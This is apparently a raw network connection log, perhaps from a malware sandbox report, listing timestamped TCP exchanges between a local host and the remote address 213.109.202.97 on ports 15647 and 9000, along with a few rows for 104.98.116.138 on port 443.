Sep 26, 2024 01:48:12.056355000 CEST	9000	58353	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.058620930 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.073601961 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.121448994 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.124243021 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.129010916 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.200288057 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.231648922 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.236453056 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.327549934 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.353115082 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.358175993 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.478661060 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.483474970 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.593465090 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.598681927 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.700519085 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.705322027 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.755505085 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.808830976 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.809803963 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.814543962 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.889436007 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:12.918956041 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:12.923722029 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.012509108 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.029117107 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.033889055 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.138549089 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.139638901 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.143565893 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.183793068 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.248414040 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.253195047 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.266804934 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.308840990 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.356683969 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.401447058 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.449385881 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.465965986 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.518625975 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.575335979 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.580135107 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.684912920 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.689836025 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.794326067 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.799151897 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.822261095 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.849397898 CEST	9000	58353	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.849529982 CEST	58353	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.849854946 CEST	58353	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.850526094 CEST	58354	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.854628086 CEST	9000	58353	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.855285883 CEST	9000	58354	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.855375051 CEST	58354	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.855653048 CEST	58354	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.860430002 CEST	9000	58354	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.871335983 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.906246901 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:13.949516058 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:13.996488094 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.013029099 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.058660984 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.076394081 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.121349096 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.123162985 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.127933979 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.203475952 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.234697104 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.239589930 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.341389894 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.346203089 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.450853109 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.457434893 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.502897024 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.559648037 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.563997984 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.569279909 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.647268057 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.669126034 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.675168037 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.782934904 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.787782907 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.817097902 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:14.871367931 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.908078909 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:14.954689980 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.013690948 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:15.018879890 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.084403992 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.122217894 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:15.127083063 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.209712029 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.233808994 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:15.238686085 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.300535917 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.341017962 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:15.346925974 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.433559895 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.450130939 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:15.455229998 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.566512108 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:15.571393013 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.669128895 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:15.673964977 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.778997898 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:15.783829927 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.851761103 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.889199972 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:15.893996000 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:15.997740984 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.003429890 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.011866093 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.058887959 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.106661081 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.149492025 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.199453115 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.216017962 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.265997887 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.308844090 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.325383902 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.370589972 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.393105984 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.433943033 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.434719086 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.439560890 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.520277977 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.547369003 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.552278996 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.647186995 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.653422117 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.662889004 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.762854099 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.926071882 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.926326990 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.927525043 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.927716017 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.931297064 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:16.980779886 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.981744051 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:16.986500978 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.082699060 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.090949059 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:17.095781088 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.202718019 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:17.207509995 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.209507942 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.261912107 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:17.311157942 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:17.341566086 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.402662039 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:17.419285059 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:17.464282990 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.511974096 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:17.528511047 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:17.574695110 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.591296911 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.636903048 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:17.637721062 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:17.642632961 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.718080044 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.748366117 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:17.753247976 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:17.858103037 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.008131027 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.008375883 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.010843039 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.010874033 CEST	9000	58354	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.010921001 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.010960102 CEST	58354	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.013561010 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.016676903 CEST	58354	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.021574020 CEST	9000	58354	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.058963060 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.076020002 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.080889940 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.122014046 CEST	58355	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.126844883 CEST	9000	58355	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.126967907 CEST	58355	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.127233028 CEST	58355	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.132162094 CEST	9000	58355	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.145459890 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.184828997 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.189668894 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.277982950 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.297111034 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.302006006 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.399425983 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.404059887 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.409271002 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.500380039 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.513755083 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.518619061 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.622661114 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.627587080 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.731509924 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.736512899 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.859436989 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.864262104 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.915064096 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:18.965060949 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.975769043 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:18.981050968 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.049427032 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.090419054 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.105396032 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.110430956 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.223517895 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.223572969 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.228641033 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.277568102 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.340905905 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.346455097 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.350506067 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.402570963 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.450659990 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.481679916 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.527632952 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.559869051 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.784540892 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.784661055 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.785641909 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.789484024 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.840045929 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.889436960 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.911055088 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:19.965070009 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:19.997184992 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.040430069 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.090015888 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.106461048 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.158713102 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.165400982 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.215048075 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.217020988 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.221834898 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.292792082 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.326522112 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.331362009 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.419553995 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.434564114 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.439352989 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.498990059 CEST	443	49712	104.98.116.138	192.168.2.7
Sep 26, 2024 01:48:20.499074936 CEST	49712	443	192.168.2.7	104.98.116.138
Sep 26, 2024 01:48:20.546720028 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.551526070 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.560178041 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.605660915 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.653408051 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.689640999 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.730706930 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.762859106 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.810626984 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.872642040 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.877479076 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:20.982920885 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:20.987771034 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.090997934 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.096117020 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.115036964 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.168157101 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.203341961 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.242137909 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.293163061 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.312150955 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.358593941 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.369184971 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.418205976 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.419053078 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.424026966 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.496313095 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.543306112 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.574454069 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.579305887 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.623209953 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.671407938 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.697247028 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.702084064 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.818218946 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.946502924 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.946784019 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:21.947051048 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.948115110 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.951663971 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:21.996542931 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.007054090 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.044080019 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.049627066 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.153738022 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.158834934 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.165394068 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.215302944 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.250910997 CEST	9000	58355	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.251019955 CEST	58355	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.251154900 CEST	58355	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.251629114 CEST	58356	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.256016970 CEST	9000	58355	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.256629944 CEST	9000	58356	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.256705046 CEST	58356	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.256793976 CEST	58356	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.262363911 CEST	9000	58356	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.262794018 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.292526007 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.340219975 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.375705957 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.419303894 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.465049982 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.481760025 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.526597977 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.546366930 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.590099096 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.592703104 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.597618103 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.673842907 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.700433969 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.705208063 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.809860945 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.815362930 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:22.919377089 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:22.924267054 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:23.029350996 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:23.034099102 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:23.102149963 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:23.137852907 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:23.142680883 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:23.233484983 CEST	15647	49716	213.109.202.97	192.168.2.7
